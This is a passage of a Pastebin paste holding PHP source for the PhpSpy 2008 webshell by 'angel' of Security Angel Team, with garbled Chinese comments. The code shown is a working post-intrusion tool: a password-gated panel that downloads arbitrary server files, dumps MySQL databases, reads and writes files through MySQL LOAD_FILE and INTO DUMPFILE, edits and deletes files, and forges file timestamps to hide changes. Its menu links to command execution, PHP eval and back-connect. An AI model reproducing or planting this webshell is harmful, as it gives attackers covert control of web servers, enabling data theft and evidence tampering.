AnonYmous-IQ

Security Angel Team [S4T]

Sep 18th, 2017
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 53.02 KB | None | 0 0
  1. <?php
  2.  
  3. /*****************************************************************************
  4.  
  5. ===================== ÇëÎóÓÃÓÚ·Ç·¨ÓÃ;£¬Ôì³ÉÒ»Çкó¹ûÓë±¾ÈËÎ޹ء£====================
  6.  
  7. ·¢²¼´Ë°æ±¾ÊÇΪÁ˼ÍÄȫÌìʹÔø¾­µÄ»Ô»Í¡£
  8.  
  9. ¸ÐлÄãÃÇÓëÎÒһͬ×ß¹ý£ºSniper\Super¡¤Hei\kEvin1986\saiy\wofeiwo¡£
  10.  
  11. ¸ÐлËùÓеÄÅóÓÑÃÇ¡¢ÐÖµÜÃÇ¡£¶àлÄãÃǵĹØÐĺÍÖ§³Ö£¡
  12.  
  13. Ñ¡ÔñÔÚ1ÔÂ7ÈÕ·¢²¼ÊÇΪÁ˼ÍÄîÎÒÀÏÆŵÄÉúÈÕ£¬Ô¤×£ÎÒÔÚ±¾ÃüÄêÀï¡£ÏÌÓã·­Éí£¡
  14.  
  15. ====================== ×îºóԤף°²È«ÌìʹµÄÿһλÅóÓÑ·É»ÆÌÚ´ï =======================
  16.  
  17. Codz by angel(4ngel)
  18.  
  19. Make in China
  20.  
  21. Web: http://www.4ngel.net
  22.  
  23. *****************************************************************************/
  24.  
  25. error_reporting(7);
  26. @set_magic_quotes_runtime(0);
  27. ob_start();
  28. $mtime = explode(' ', microtime());
  29. $starttime = $mtime[1] + $mtime[0];
  30. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  31. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  32. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  33. define('IS_COM', class_exists('COM') ? 1 : 0 );
  34. define('IS_GPC', get_magic_quotes_gpc());
  35. $dis_func = get_cfg_var('disable_functions');
  36. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  37. @set_time_limit(0);
  38.  
  39. foreach(array('_GET','_POST') as $_request) {
  40.     foreach($$_request as $_key => $_value) {
  41.         if ($_key{0} != '_') {
  42.             if (IS_GPC) {
  43.                 $_value = s_array($_value);
  44.             }
  45.             $$_key = $_value;
  46.         }
  47.     }
  48. }
  49.  
  50. /*===================== ³ÌÐòÅäÖà =====================*/
  51. $admin = array();
  52. // ÊÇ·ñÐèÒªÃÜÂëÑéÖ¤, true ΪÐèÒªÑéÖ¤, false Ϊֱ½Ó½øÈë.ÏÂÃæÑ¡ÏîÔòÎÞЧ
  53. $admin['check'] = true;
  54. // Èç¹ûÐèÒªÃÜÂëÑéÖ¤,ÇëÐ޸ĵǽÃÜÂë
  55. $admin['pass']  = 'angel';
  56.  
  57. //ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÐÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÐÞ¸ÄÏÂÃæ±äÁ¿, ·ñÔòÇë±£³ÖĬÈÏ
  58. // cookie ǰ׺
  59. $admin['cookiepre'] = '';
  60. // cookie ×÷ÓÃÓò
  61. $admin['cookiedomain'] = '';
  62. // cookie ×÷Ó÷¾¶
  63. $admin['cookiepath'] = '/';
  64. // cookie ÓÐЧÆÚ
  65. $admin['cookielife'] = 86400;
  66. /*===================== ÅäÖýáÊø =====================*/
  67.  
  68. if ($charset == 'utf8') {
  69.     header("content-Type: text/html; charset=utf-8");
  70. } elseif ($charset == 'big5') {
  71.     header("content-Type: text/html; charset=big5");
  72. } elseif ($charset == 'gbk') {
  73.     header("content-Type: text/html; charset=gbk");
  74. } elseif ($charset == 'latin1') {
  75.     header("content-Type: text/html; charset=iso-8859-2");
  76. }
  77.  
  78. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  79. $timestamp = time();
  80.  
  81. /*===================== Éí·ÝÑéÖ¤ =====================*/
  82. if ($action == "logout") {
  83.     scookie('phpspypass', '', -86400 * 365);
  84.     p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
  85.     p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
  86.     exit;
  87. }
  88. if($admin['check']) {
  89.     if ($doing == 'login') {
  90.         if ($admin['pass'] == $password) {
  91.             scookie('phpspypass', $password);
  92.             p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
  93.             p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
  94.             exit;
  95.         }
  96.     }
  97.     if ($_COOKIE['phpspypass']) {
  98.         if ($_COOKIE['phpspypass'] != $admin['pass']) {
  99.             loginpage();
  100.         }
  101.     } else {
  102.         loginpage();
  103.     }
  104. }
  105. /*===================== ÑéÖ¤½áÊø =====================*/
  106.  
  107. $errmsg = '';
  108.  
  109. // ²é¿´PHPINFO
  110. if ($action == 'phpinfo') {
  111.     if (IS_PHPINFO) {
  112.         phpinfo();
  113.     } else {
  114.         $errmsg = 'phpinfo() function has non-permissible';
  115.     }
  116. }
  117.  
  118. // ÏÂÔØÎļþ
  119. if ($doing == 'downfile' && $thefile) {
  120.     if (!@file_exists($thefile)) {
  121.         $errmsg = 'The file you want Downloadable was nonexistent';
  122.     } else {
  123.         $fileinfo = pathinfo($thefile);
  124.         header('Content-type: application/x-'.$fileinfo['extension']);
  125.         header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  126.         header('Content-Length: '.filesize($thefile));
  127.         @readfile($thefile);
  128.         exit;
  129.     }
  130. }
  131.  
  132. // Ö±½ÓÏÂÔر¸·ÝÊý¾Ý¿â
  133. if ($doing == 'backupmysql' && !$saveasfile) {
  134.     dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  135.     $table = array_flip($table);
  136.     $result = q("SHOW tables");
  137.     if (!$result) p('<h2>'.mysql_error().'</h2>');
  138.     $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
  139.     header('Content-type: application/unknown');
  140.     header('Content-Disposition: attachment; filename='.$filename);
  141.     $mysqldata = '';
  142.     while ($currow = mysql_fetch_array($result)) {
  143.         if (isset($table[$currow[0]])) {
  144.             $mysqldata .= sqldumptable($currow[0]);
  145.         }
  146.     }
  147.     mysql_close();
  148.     exit;
  149. }
  150.  
  151. // ͨ¹ýMYSQLÏÂÔØÎļþ
  152. if($doing=='mysqldown'){
  153.     if (!$dbname) {
  154.         $errmsg = 'Please input dbname';
  155.     } else {
  156.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  157.         if (!file_exists($mysqldlfile)) {
  158.             $errmsg = 'The file you want Downloadable was nonexistent';
  159.         } else {
  160.             $result = q("select load_file('$mysqldlfile');");
  161.             if(!$result){
  162.                 q("DROP TABLE IF EXISTS tmp_angel;");
  163.                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  164.                 //ÓÃʱ¼ä´ÁÀ´±íʾ½Ø¶Ï,±ÜÃâ³öÏÖ¶ÁÈ¡×ÔÉí»ò°üº¬__angel_1111111111_eof__µÄÎļþʱ²»ÍêÕûµÄÇé¿ö
  165.                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  166.                 $result = q("select content from tmp_angel");
  167.                 q("DROP TABLE tmp_angel");
  168.             }
  169.             $row = @mysql_fetch_array($result);
  170.             if (!$row) {
  171.                 $errmsg = 'Load file failed '.mysql_error();
  172.             } else {
  173.                 $fileinfo = pathinfo($mysqldlfile);
  174.                 header('Content-type: application/x-'.$fileinfo['extension']);
  175.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  176.                 header("Accept-Length: ".strlen($row[0]));
  177.                 echo $row[0];
  178.                 exit;
  179.             }
  180.         }
  181.     }
  182. }
  183.  
  184. ?>
  185. <html>
  186. <head>
  187. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
  188. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
  189. <style type="text/css">
  190. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  191. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
  192. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  193. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
  194. a {color: #00f;text-decoration:underline;}
  195. a:hover{color: #f00;text-decoration:none;}
  196. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
  197. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
  198. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
  199. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
  200. .head td span{font-weight:normal;}
  201. form{margin:0;padding:0;}
  202. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  203. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  204. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  205. </style>
  206. <script type="text/javascript">
  207. function CheckAll(form) {
  208.     for(var i=0;i<form.elements.length;i++) {
  209.         var e = form.elements[i];
  210.         if (e.name != 'chkall')
  211.         e.checked = form.chkall.checked;
  212.     }
  213. }
  214. function $(id) {
  215.     return document.getElementById(id);
  216. }
  217. function goaction(act){
  218.     $('goaction').action.value=act;
  219.     $('goaction').submit();
  220. }
  221. </script>
  222. </head>
  223. <body style="margin:0;table-layout:fixed; word-break:break-all">
  224. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  225.     <tr class="head">
  226.         <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
  227.     </tr>
  228.     <tr class="alt1">
  229.         <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
  230.             <a href="javascript:goaction('logout');">Logout</a> |
  231.             <a href="javascript:goaction('file');">File Manager</a> |
  232.             <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
  233.             <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
  234.             <a href="javascript:goaction('shell');">Execute Command</a> |
  235.             <a href="javascript:goaction('phpenv');">PHP Variable</a> |
  236.             <a href="javascript:goaction('eval');">Eval PHP Code</a>
  237.             <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
  238.         </td>
  239.     </tr>
  240. </table>
  241. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  242. <?php
  243.  
  244. formhead(array('name'=>'goaction'));
  245. makehide('action');
  246. formfoot();
  247.  
  248. $errmsg && m($errmsg);
  249.  
  250. // »ñÈ¡µ±Ç°Â·¾¶
  251. !$dir && $dir = '.';
  252. $nowpath = getPath(SA_ROOT, $dir);
  253. if (substr($dir, -1) != '/') {
  254.     $dir = $dir.'/';
  255. }
  256. $uedir = ue($dir);
  257.  
  258. if (!$action || $action == 'file') {
  259.  
  260.     // Åж϶ÁдÇé¿ö
  261.     $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  262.  
  263.     // ɾ³ýĿ¼
  264.     if ($doing == 'deldir' && $thefile) {
  265.         if (!file_exists($thefile)) {
  266.             m($thefile.' directory does not exist');
  267.         } else {
  268.             m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
  269.         }
  270.     }
  271.  
  272.     // ´´½¨Ä¿Â¼
  273.     elseif ($newdirname) {
  274.         $mkdirs = $nowpath.$newdirname;
  275.         if (file_exists($mkdirs)) {
  276.             m('Directory has already existed');
  277.         } else {
  278.             m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
  279.             @chmod($mkdirs,0777);
  280.         }
  281.     }
  282.  
  283.     // ÉÏ´«Îļþ
  284.     elseif ($doupfile) {
  285.         m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  286.     }
  287.  
  288.     // ±à¼­Îļþ
  289.     elseif ($editfilename && $filecontent) {
  290.         $fp = @fopen($editfilename,'w');
  291.         m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  292.         @fclose($fp);
  293.     }
  294.  
  295.     // ±à¼­ÎļþÊôÐÔ
  296.     elseif ($pfile && $newperm) {
  297.         if (!file_exists($pfile)) {
  298.             m('The original file does not exist');
  299.         } else {
  300.             $newperm = base_convert($newperm,8,10);
  301.             m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  302.         }
  303.     }
  304.  
  305.     // ¸ÄÃû
  306.     elseif ($oldname && $newfilename) {
  307.         $nname = $nowpath.$newfilename;
  308.         if (file_exists($nname) || !file_exists($oldname)) {
  309.             m($nname.' has already existed or original file does not exist');
  310.         } else {
  311.             m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  312.         }
  313.     }
  314.  
  315.     // ¸´ÖÆÎļþ
  316.     elseif ($sname && $tofile) {
  317.         if (file_exists($tofile) || !file_exists($sname)) {
  318.             m('The goal file has already existed or original file does not exist');
  319.         } else {
  320.             m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  321.         }
  322.     }
  323.  
  324.     // ¿Ë¡ʱ¼ä
  325.     elseif ($curfile && $tarfile) {
  326.         if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  327.             m('The goal file has already existed or original file does not exist');
  328.         } else {
  329.             $time = @filemtime($tarfile);
  330.             m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  331.         }
  332.     }
  333.  
  334.     // ×Ô¶¨Òåʱ¼ä
  335.     elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  336.         if (!@file_exists($curfile)) {
  337.             m(basename($curfile).' does not exist');
  338.         } else {
  339.             $time = strtotime("$year-$month-$day $hour:$minute:$second");
  340.             m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  341.         }
  342.     }
  343.  
  344.     // ´ò°üÏÂÔØ
  345.     elseif($doing == 'downrar') {
  346.         if ($dl) {
  347.             $dfiles='';
  348.             foreach ($dl as $filepath => $value) {
  349.                 $dfiles.=$filepath.',';
  350.             }
  351.             $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  352.             $dl=explode(',',$dfiles);
  353.             $zip=new PHPZip($dl);
  354.             $code=$zip->out;
  355.             header('Content-type: application/octet-stream');
  356.             header('Accept-Ranges: bytes');
  357.             header('Accept-Length: '.strlen($code));
  358.             header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
  359.             echo $code;
  360.             exit;
  361.         } else {
  362.             m('Please select file(s)');
  363.         }
  364.     }
  365.  
  366.     // ÅúÁ¿É¾³ýÎļþ
  367.     elseif($doing == 'delfiles') {
  368.         if ($dl) {
  369.             $dfiles='';
  370.             $succ = $fail = 0;
  371.             foreach ($dl as $filepath => $value) {
  372.                 if (@unlink($filepath)) {
  373.                     $succ++;
  374.                 } else {
  375.                     $fail++;
  376.                 }
  377.             }
  378.             m('Deleted file have finished£¬choose '.count($dl).' success '.$succ.' fail '.$fail);
  379.         } else {
  380.             m('Please select file(s)');
  381.         }
  382.     }
  383.  
  384.     //²Ù×÷Íê±Ï
  385.     formhead(array('name'=>'createdir'));
  386.     makehide('newdirname');
  387.     makehide('dir',$nowpath);
  388.     formfoot();
  389.     formhead(array('name'=>'fileperm'));
  390.     makehide('newperm');
  391.     makehide('pfile');
  392.     makehide('dir',$nowpath);
  393.     formfoot();
  394.     formhead(array('name'=>'copyfile'));
  395.     makehide('sname');
  396.     makehide('tofile');
  397.     makehide('dir',$nowpath);
  398.     formfoot();
  399.     formhead(array('name'=>'rename'));
  400.     makehide('oldname');
  401.     makehide('newfilename');
  402.     makehide('dir',$nowpath);
  403.     formfoot();
  404.     formhead(array('name'=>'fileopform'));
  405.     makehide('action');
  406.     makehide('opfile');
  407.     makehide('dir');
  408.     formfoot();
  409.  
  410.     $free = @disk_free_space($nowpath);
  411.     !$free && $free = 0;
  412.     $all = @disk_total_space($nowpath);
  413.     !$all && $all = 0;
  414.     $used = $all-$free;
  415.     $used_percent = @round(100/($all/$free),2);
  416.     p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
  417.  
  418. ?>
  419. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  420.   <form action="" method="post" id="godir" name="godir">
  421.   <tr>
  422.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  423.     <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
  424.     <td nowrap><input class="bt" value="GO" type="submit"></td>
  425.   </tr>
  426.   </form>
  427. </table>
  428. <script type="text/javascript">
  429. function createdir(){
  430.     var newdirname;
  431.     newdirname = prompt('Please input the directory name:', '');
  432.     if (!newdirname) return;
  433.     $('createdir').newdirname.value=newdirname;
  434.     $('createdir').submit();
  435. }
  436. function fileperm(pfile){
  437.     var newperm;
  438.     newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  439.     if (!newperm) return;
  440.     $('fileperm').newperm.value=newperm;
  441.     $('fileperm').pfile.value=pfile;
  442.     $('fileperm').submit();
  443. }
  444. function copyfile(sname){
  445.     var tofile;
  446.     tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  447.     if (!tofile) return;
  448.     $('copyfile').tofile.value=tofile;
  449.     $('copyfile').sname.value=sname;
  450.     $('copyfile').submit();
  451. }
  452. function rename(oldname){
  453.     var newfilename;
  454.     newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  455.     if (!newfilename) return;
  456.     $('rename').newfilename.value=newfilename;
  457.     $('rename').oldname.value=oldname;
  458.     $('rename').submit();
  459. }
  460. function dofile(doing,thefile,m){
  461.     if (m && !confirm(m)) {
  462.         return;
  463.     }
  464.     $('filelist').doing.value=doing;
  465.     if (thefile){
  466.         $('filelist').thefile.value=thefile;
  467.     }
  468.     $('filelist').submit();
  469. }
  470. function createfile(nowpath){
  471.     var filename;
  472.     filename = prompt('Please input the file name:', '');
  473.     if (!filename) return;
  474.     opfile('editfile',nowpath + filename,nowpath);
  475. }
  476. function opfile(action,opfile,dir){
  477.     $('fileopform').action.value=action;
  478.     $('fileopform').opfile.value=opfile;
  479.     $('fileopform').dir.value=dir;
  480.     $('fileopform').submit();
  481. }
  482. function godir(dir,view_writable){
  483.     if (view_writable) {
  484.         $('godir').view_writable.value=1;
  485.     }
  486.     $('godir').dir.value=dir;
  487.     $('godir').submit();
  488. }
  489. </script>
  490.   <?php
  491.     tbhead();
  492.     p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  493.     p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  494.     p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  495.     if ($view_writable) {
  496.         p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  497.     } else {
  498.         p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
  499.     }
  500.     p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
  501.     if (IS_WIN && IS_COM) {
  502.         $obj = new COM('scripting.filesystemobject');
  503.         if ($obj && is_object($obj)) {
  504.             $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  505.             foreach($obj->Drives as $drive) {
  506.                 if ($drive->DriveType == 2) {
  507.                     p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  508.                 } else {
  509.                     p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  510.                 }
  511.             }
  512.         }
  513.     }
  514.  
  515.     p('</td></tr></form>');
  516.  
  517.     p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  518.  
  519.     //²é¿´ËùÓпÉдÎļþºÍĿ¼
  520.     $dirdata=array();
  521.     $filedata=array();
  522.  
  523.     if ($view_writable) {
  524.         $dirdata = GetList($nowpath);
  525.     } else {
  526.         // Ŀ¼Áбí
  527.         $dirs=@opendir($dir);
  528.         while ($file=@readdir($dirs)) {
  529.             $filepath=$nowpath.$file;
  530.             if(@is_dir($filepath)){
  531.                 $dirdb['filename']=$file;
  532.                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  533.                 $dirdb['dirchmod']=getChmod($filepath);
  534.                 $dirdb['dirperm']=getPerms($filepath);
  535.                 $dirdb['fileowner']=getUser($filepath);
  536.                 $dirdb['dirlink']=$nowpath;
  537.                 $dirdb['server_link']=$filepath;
  538.                 $dirdb['client_link']=ue($filepath);
  539.                 $dirdata[]=$dirdb;
  540.             } else {       
  541.                 $filedb['filename']=$file;
  542.                 $filedb['size']=sizecount(@filesize($filepath));
  543.                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  544.                 $filedb['filechmod']=getChmod($filepath);
  545.                 $filedb['fileperm']=getPerms($filepath);
  546.                 $filedb['fileowner']=getUser($filepath);
  547.                 $filedb['dirlink']=$nowpath;
  548.                 $filedb['server_link']=$filepath;
  549.                 $filedb['client_link']=ue($filepath);
  550.                 $filedata[]=$filedb;
  551.             }
  552.         }// while
  553.         unset($dirdb);
  554.         unset($filedb);
  555.         @closedir($dirs);
  556.     }
  557.     @sort($dirdata);
  558.     @sort($filedata);
  559.     $dir_i = '0';
  560.     foreach($dirdata as $key => $dirdb){
  561.         if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  562.             $thisbg = bg();
  563.             p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  564.             p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  565.             p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  566.             p('<td nowrap>'.$dirdb['mtime'].'</td>');
  567.             p('<td nowrap>--</td>');
  568.             p('<td nowrap>');
  569.             p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  570.             p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  571.             p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  572.             p('</tr>');
  573.             $dir_i++;
  574.         } else {
  575.             if($dirdb['filename']=='..') {
  576.                 p('<tr class='.bg().'>');
  577.                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  578.                 p('</tr>');
  579.             }
  580.         }
  581.     }
  582.  
  583.     p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
  584.     p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  585.     makehide('action','file');
  586.     makehide('thefile');
  587.     makehide('doing');
  588.     makehide('dir',$nowpath);
  589.     $file_i = '0';
  590.     foreach($filedata as $key => $filedb){
  591.         if($filedb['filename']!='..' && $filedb['filename']!='.') {
  592.             $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  593.             $thisbg = bg();
  594.             p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  595.             p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  596.             p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  597.             p('<td nowrap>'.$filedb['mtime'].'</td>');
  598.             p('<td nowrap>'.$filedb['size'].'</td>');
  599.             p('<td nowrap>');
  600.             p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  601.             p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  602.             p('<td nowrap>');
  603.             p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  604.             p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  605.             p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
  606.             p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
  607.             p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
  608.             p('</td></tr>');
  609.             $file_i++;
  610.         }
  611.     }
  612.     p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
  613.     p('</form></table>');
  614. }// end dir
  615.  
  616. elseif ($action == 'sqlfile') {
  617.     if($doing=="mysqlupload"){
  618.         $file = $_FILES['uploadfile'];
  619.         $filename = $file['tmp_name'];
  620.         if (file_exists($savepath)) {
  621.             m('The goal file has already existed');
  622.         } else {
  623.             if(!$filename) {
  624.                 m('Please choose a file');
  625.             } else {
  626.                 $fp=@fopen($filename,'r');
  627.                 $contents=@fread($fp, filesize($filename));
  628.                 @fclose($fp);
  629.                 $contents = bin2hex($contents);
  630.                 if(!$upname) $upname = $file['name'];
  631.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  632.                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  633.                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
  634.             }
  635.         }
  636.     }
  637. ?>
  638. <script type="text/javascript">
  639. function mysqlfile(doing){
  640.     if(!doing) return;
  641.     $('doing').value=doing;
  642.     $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  643.     $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  644.     $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  645.     $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  646.     $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  647.     $('mysqlfile').charset.value=$('dbinfo').charset.value;
  648.     $('mysqlfile').submit();
  649. }
  650. </script>
  651. <?php
  652.     !$dbhost && $dbhost = 'localhost';
  653.     !$dbuser && $dbuser = 'root';
  654.     !$dbport && $dbport = '3306';
  655.     $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  656.     formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
  657.     makehide('action','sqlfile');
  658.     p('<p>');
  659.     p('DBHost:');
  660.     makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  661.     p(':');
  662.     makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  663.     p('DBUser:');
  664.     makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  665.     p('DBPass:');
  666.     makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  667.     p('DBName:');
  668.     makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
  669.     p('DBCharset:');
  670.     makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  671.     p('</p>');
  672.     formfoot();
  673.     p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  674.     p('<h2>Upload file</h2>');
  675.     p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  676.     p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  677.     p('<h2>Download file</h2>');
